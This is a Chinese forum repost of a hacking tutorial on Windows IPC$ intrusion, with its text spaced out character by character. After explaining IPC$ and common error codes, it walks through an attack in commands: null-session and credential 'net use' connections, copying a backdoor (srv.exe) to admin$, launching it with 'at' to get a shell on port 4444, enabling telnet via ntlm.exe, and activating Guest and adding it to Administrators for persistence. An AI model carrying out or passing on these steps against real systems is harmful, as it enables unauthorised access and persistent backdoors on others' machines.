搜索

[21190] 2020-08-12_内网渗透之IPC$入侵

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-08-12_内网渗透之IPC$入侵 内 网 渗 透 之 I P C $ 入 侵 L e m o n S e c   2 0 2 0 - 0 8 - 1 2 P C $ 连 接 I P C $ 的 概 念 ： I P C $ 的 作 用 ： I P C $ 的 利 用 条 件 ： I P C $ 连 接 失 败 的 原 因 ： 常 见 错 误 号 ： 具 体 操 作 命 令 ： 1 . 建 立 I P C $ 空 连 接 ： 2 . 建 立 完 整 的 用 户 名 ， 密 码 连 接 ： 3 . 映 射 路 径 ： 4 . 访 问 / 删 除 路 径 ： 5 . 删 除 I P C $ 连 接 ： 6 . 入 侵 过 程 ： ( 1 ) ( 2 ) ( 3 ) ( 4 ) ( 5 ) I P C $ ( I n t e r n e t   P r o c e s s   C o n n e c t i o n ) 是 共 享 ” 命 名 管 道 ” 的 资 源 ， 它 是 为 了 让 进 程 间 通 信 而 开 放 的 命 名 管 道 ， 可 以 通 过 验 证 用 户 名 和 密 码 获 得 相 应 的 权 限 , 在 远 程 管 理 计 算 机 和 查 看 计 算 机 的 共 享 资 源 时 使 用 。 利 用 I P C $ , 连 接 者 甚 至 可 以 与 目 标 主 机 建 立 一 个 连 接 ， 利 用 这 个 连 接 ， 连 接 者 可 以 得 到 目 标 主 机 上 的 目 录 结 构 、 用 户 列 表 等 信 息 。 1 .   1 3 9 , 4 4 5 端 口 开 启                   i p c $ 连 接 可 以 实 现 远 程 登 陆 及 对 默 认 共 享 的 访 问 ; 而 1 3 9 端 口 的 开 启 表 示 n e t b i o s 协 议 的 应 用 , 我 们 可 以 通 过 1 3 9 , 4 4 5 ( w i n 2 0 0 0 ) 端 口 实 现 对 共 享 文 件 / 打 印 机 的 访 问 , 因 此 一 般 来 讲 , i p c $ 连 接 是 需 要 1 . 你 的 系 统 不 是 N T 或 以 上 操 作 系 统 . 2 . 对 方 没 有 打 开 i p c $ 默 认 共 享 。 3 . 不 能 成 功 连 接 目 标 的 1 3 9 ， 4 4 5 端 口 . 4 . 命 令 输 入 错 误 . 5 . 用 户 名 或 密 码 错 误 . 1 . 错 误 号 5 ， 拒 绝 访 问   ： 很 可 能 你 使 用 的 用 户 不 是 管 理 员 权 限 的 ， 先 提 升 权 限 ； 2 . 错 误 号 5 1 ， W i n d o w s   无 法 找 到 网 络 路 径   :   网 络 有 问 题 ； 3 . 错 误 号 5 3 ， 找 不 到 网 络 路 径   ： i p 地 址 错 误 ； 目 标 未 开 机 ； 目 标 l a n m a n s e r v e r 服 务 未 启 动 ； 目 标 有 防 火 墙 （ 端 口 过 滤 ） ； 4 . 错 误 号 6 7 ， 找 不 到 网 络 名   ： 你 的 l a n m a n w o r k s t a t i o n 服 务 未 启 动 ； 目 标 删 除 了 i p c $ ； 5 . 错 误 号 1 2 1 9 ， 提 供 的 凭 据 与 已 存 在 的 凭 据 集 冲 突   ： 你 已 经 和 对 方 建 立 了 一 个 i p c $ ， 请 删 除 再 连 。 6 . 错 误 号 1 3 2 6 ， 未 知 的 用 户 名 或 错 误 密 码   ： 原 因 很 明 显 了 ； 7 . 错 误 号 1 7 9 2 ， 试 图 登 录 ， 但 是 网 络 登 录 服 务 没 有 启 动   ： 目 标 N e t L o g o n 服 务 未 启 动 。 （ 连 接 域 控 会 出 现 此 情 况 ） 8 . 错 误 号 2 2 4 2 ， 此 用 户 的 密 码 已 经 过 期   ： 目 标 有 帐 号 策 略 ， 强 制 定 期 要 求 更 改 密 码 。 n e t   u s e   1 2 7 . 0 . 0 . 1 i p c $   " "   / u s e r : " " n e t   u s e   1 2 7 . 0 . 0 . 1 i p c $   " p a s s w o r d "   / u s e r : " u s e r n a m e " n e t   u s e   z :   1 2 7 . 0 . 0 . 1 c $   " 密 码 "   / u s e r : " 用 户 名 "     ( 即 可 将 对 方 的 c 盘 映 射 为 自 己 的 z 盘 ， 其 他 盘 类 推 ) n e t   u s e   z :   1 2 7 . 0 . 0 . 1 c $       # 直 接 访 问 n e t   u s e   c :   / d e l           删 除 映 射 的 c 盘 ， 其 他 盘 类 推 n e t   u s e   *   / d e l             删 除 全 部 , 会 有 提 示 要 求 按 y 确 认 n e t   u s e   1 2 7 . 0 . 0 . 1 i p c $   / d e l C : > n e t   u s e   1 2 7 . 0 . 0 . 1 I P C $   " "   / u s e r : " a d m i n t i t r a t o r s "   这 是 用 《 流 光 》 扫 到 的 用 户 名 是 a d m i n i s t r a t o r s ， 密 码 为 " 空 " 的 I P 地 址 ， 如 果 是 打 算 攻 击 的 话 ， 就 可 以 用 这 样 的 命 令 来 与 1 2 7 . 0 . 0 . 1 建 立 一 个 连 接 ， 因 为 密 码 为 " 空 " ， 所 以 第 一 个 引 号 处 就 不 用 输 入 ， 后 面 一 个 双 引 号 里 的 是 用 户 名 ， 输 入 a d m i n i s t r a t o r s ， 命 令 即 可 成 功 完 成 。 C : > c o p y   s r v . e x e   1 2 7 . 0 . 0 . 1 a d m i n $ 先 复 制 s r v . e x e 上 去 ， 在 流 光 的 T o o l s 目 录 下 就 有 （ 这 里 的 $ 是 指 a d m i n 用 户 的 c : w i n n t s y s t e m 3 2 ， 大 家 还 可 以 使 用 c $ 、 d $ ， 意 思 是 C 盘 与 D 盘 ， 这 看 你 要 复 制 到 什 么 地 方 去 了 ） 。 C : > n e t   t i m e   1 2 7 . 0 . 0 . 1   查 查 时 间 ， 发 现 1 2 7 . 0 . 0 . 1   的 当 前 时 间 是   2 0 1 9 / 2 / 8   上 午   1 1 : 0 0 ， 命 令 成 功 完 成 。 C : > a t   1 2 7 . 0 . 0 . 1   1 1 : 0 5   s r v . e x e   用 a t 命 令 启 动 s r v . e x e 吧 （ 这 里 设 置 的 时 间 要 比 主 机 时 间 快 ， 不 然 你 怎 么 启 动 啊 ， 呵 呵 ！ ）
( 6 ) ( 7 ) ( 8 ) ( 9 ) ( 1 0 ) ( 1 1 ) ( 1 2 ) 7 . 如 何 防 御 I P C $ 入 侵 ： 8 . n e t s t a t 延 伸 使 用 ： 如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” C : > n e t   t i m e   1 2 7 . 0 . 0 . 1 再 查 查 到 时 间 没 有 ？ 如 果 1 2 7 . 0 . 0 . 1   的 当 前 时 间 是   2 0 1 9 / 2 / 8   上 午   1 1 : 0 5 ， 说 明 s r v . e x e 已 经 执 行 ， 那 就 准 备 开 始 下 面 的 命 令 。 C : > t e l n e t   1 2 7 . 0 . 0 . 1   4 4 4 4   这 里 会 用 到 T e l n e t 命 令 吧 ， 注 意 端 口 是 4 4 4 4 。 T e l n e t 默 认 的 是 2 3 端 口 ， 但 是 我 们 使 用 的 是 s r v . e x e 在 对 方 计 算 机 中 为 我 们 建 立 一 个 4 4 4 4 端 口 的 S h e l l 。 虽 然 我 们 可 以 T e l n e t 上 去 了 ， 但 是 s r v . e x e 是 一 次 性 的 ， 下 次 登 录 还 要 再 激 活 ！ 所 以 我 们 打 算 建 立 一 个 T e l n e t 服 务 ！ 这 就 要 用 到 n t l m 了 C : > c o p y   n t l m . e x e   1 2 7 . 0 . 0 . 1 a d m i n $ 用 C o p y 命 令 把 n t l m . e x e 上 传 到 主 机 上 （ n t l m . e x e 也 是 在 《 流 光 》 的 T o o l s 目 录 中 ） 。 C : W I N N T s y s t e m 3 2 > n t l m   输 入 n t l m 启 动 （ 这 里 的 C : W I N N T s y s t e m 3 2 > 指 的 是 对 方 计 算 机 ， 运 行 n t l m 其 实 是 让 这 个 程 序 在 对 方 计 算 机 上 运 行 ） 。 当 出 现 " D O N E " 的 时 候 ， 就 说 明 已 经 启 动 正 常 。 然 后 使 用 " n e t   s t a r t   t e l n e t " 来 开 启 T e l n e t 服 务 ！ T e l n e t   1 2 7 . 0 . 0 . 1 ， 接 着 输 入 用 户 名 与 密 码 就 进 入 对 方 了 ， 操 作 就 像 在 D O S 上 操 作 一 样 简 单 为 了 以 防 万 一 , 我 们 再 把 g u e s t 激 活 加 到 管 理 组 C : > n e t   u s e r   g u e s t   / a c t i v e : y e s 将 对 方 的 G u e s t 用 户 激 活 C : > n e t   u s e r   g u e s t   1 2 3 4 5 6 将 G u e s t 的 密 码 改 为 1 2 3 4 5 6 , 或 者 你 要 设 定 的 密 码 C : > n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   g u e s t   / a d d   将 G u e s t 变 为 A d m i n i s t r a t o r ^ _ ^ ( 如 果 管 理 员 密 码 更 改 ， g u e s t 帐 号 没 改 变 的 话 ， 下 次 我 们 可 以 用 g u e s t 再 次 访 问 这 台 计 算 机 ) n e t   s h a r e               # 查 看 自 己 的 共 享 n e t   v i e w   I P       # 查 看 t a r g e t 的 共 享 n e t s t a t   - A   I P       # 获 取 t a r g e t 的 u s e r 列 表 n e t s t a t   - a n o   |   f i n d s t r   " p o r t "     # 查 看 端 口 号 对 应 的 P I D t a s k l i s t   |   f i n d s t r   " P I D "               # 查 看 进 程 号 对 应 的 程 序 本 文 作 者 ： b m j o k e r 本 文 链 接 ： h t t p s : / / w w w . c n b l o g s . c o m / b m j o k e r / p / 1 0 3 5 5 9 3 4 . h t m l 版 权 声 明 ： 本 博 客 所 有 文 章 除 特 别 声 明 外 ， 均 采 用   B Y - N C - S A   许 可 协 议 。 转 载 请 注 明 出 处 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理